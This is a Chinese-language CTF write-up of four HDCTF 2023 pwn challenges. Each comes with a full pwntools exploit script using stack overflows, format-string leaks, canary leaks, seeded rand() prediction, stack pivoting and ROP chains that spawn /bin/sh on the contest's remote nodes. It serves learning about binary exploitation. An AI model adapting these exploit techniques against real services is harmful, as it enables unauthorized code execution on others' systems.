2023 HDCTF Write Up

PWN By Comentropy

pwnner

有随机数,但好在种子是固定的(终于不用预测时间戳了,QAQ)。绕过判断栈溢出到backdoor即可。

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ctypes import *
from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "pwnner"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node5.anna.nssctf.cn"
    port = "28848"
    p = remote(ip, port)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"

init(lib, binary, p)
context = init_context("tmux", debug)

dll = cdll.LoadLibrary(lib)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

seed = dll.srand(0x39)

ru(b'input your name:\n')
sl(str(dll.rand()))

back = 0x4008B2
padding = 0x40 + 8

pad1 = b''
pad1 += b'a' * padding
pad1 += p64(back)

ru(b'what will you do next?')
s(pad1)

ia()

KEEP ON

这个题我就要好好说一下了,先说一下流程就是,格式化字符串漏洞泄露栈地址,然后栈迁移rop即可。问题是格式化我用的第一个栈地址,然后本地调试算偏移,我换了三个libc版本,偏移都和远程不一样。。。。在我一个小时的尝试下,试出了远程的偏移,从而栈迁移到rop链上,(所以exp会有一点点乱,在栈地址的这个地方改了很多遍)导致我交flag的时候已经有十几个人了qaq。

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "./pwn"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node2.anna.nssctf.cn"
    port = "28056"
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context("tmux", debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

# raw_input()

ru(b'me your name: \n')
sl("%p")
ru(b'hello,0x')
stack = int(r(6*2),16) + 9888
lg(stack)

leave_ret = 0x4007F2
pop_rdi_ret = 0x4008d3
ret = 0x400864
main = 0x400746
back = 0x400854

padding = 0x50

rsp = stack - 3*8

pad = b''
pad += p64(ret)
pad += p64(pop_rdi_ret)
pad += p64(rsp + 5*8)
pad += p64(elf.plt['system'])
pad += b"/bin/sh\x00"
pad = pad.ljust(0x50, b'\x00')
pad += p64(rsp)
pad += p64(leave_ret)

ru(b'keep on !')
sleep(3)
s(pad)

ia()

Makewish

这个没啥特别的,溢出泄露canary,预测随机数,种子没给,默认0,然后off by null覆盖rbp的末字节为0,栈迁移到布置好的rop链。rop链事先写好ret,提高爆破概率,可以写个爆破脚本的。我为了省事就没写了。实际多跑几次就行了。

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ctypes import *
from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "pwn2"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node5.anna.nssctf.cn"
    port = "28931"
    p = remote(ip, port)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"

init(lib, binary, p)
context = init_context("tmux", debug)

dll = cdll.LoadLibrary(lib)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

ru(b'tell me you name\n\n')

ret = 0x400902
back = 0x4007C7

pad1 = b''
pad1 += b'a' * 0x28 + b'b'
s(pad1)

ru(b'a' * 0x28)
canary = u64(r(8)) - 0x62
lg(canary)

ru(b'tell me key\n\n')
s(p32(dll.rand() % 1000 + 324))

pad2 = b''
pad2 += p64(ret) * 8
pad2 += p64(back)
pad2 = pad2.ljust(0x58, b'\x00')
pad2 += p64(canary)

pad2 = pad2.ljust(0x60, b'\x00')

ru(b'welcome to HDctf,You can make a wish to me\n')
s(pad2)

ia()

Minions

首先就是格式化字符串绕过判断,没开pie而且输入长度挺长的所以也比较容易,然后栈迁移到bss段,在bss段处写rop执行read,read的rdx会残留上面留下的大小,所以不用控制rdx,大量循环read往下写,以防止栈自增到bss段外面,没有w权限,导致报错。最后写system即可。

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "minions1"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node5.anna.nssctf.cn"
    port = "28833"
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context("tmux", debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

ru(b'What you name?\n\n')

offset = 6
pad1 = fmtstr_payload(6, {0x6010A0: 102})
sl(pad1)

pop_rdi_ret = 0x400893
pop_rsi_r15_ret = 0x400891
ret = 0x400581
leave_ret = 0x400758

msg_addr = 0x6010C0
padding = 0x30

pad2 = b''
pad2 += b'a' * padding
pad2 += p64(msg_addr - 8)
pad2 += p64(leave_ret)

ru(b'welcome,tell me more about you')
s(pad2)

ru(b"That's great.Do you like Minions?\n")

for i in range(80):
    pad3 = b''
    pad3 += p64(pop_rsi_r15_ret)
    pad3 += p64(msg_addr+0x28+0x28*i)
    pad3 += p64(0)
    pad3 += p64(elf.sym['read'])
    pad3 += p64(ret)
    # ddebug()

    s(pad3)

pad4 = b''
pad4 += p64(ret)
pad4 += p64(pop_rdi_ret)
pad4 += p64(0x601d60)
# pad4 += p64(elf.sym['system'])
pad4 += p64(0x400763)
pad4 += b'/bin/sh\x00'

# sleep(1)

raw_input()

s(pad4)

ia()
updatedupdated2023-04-232023-04-23
加载评论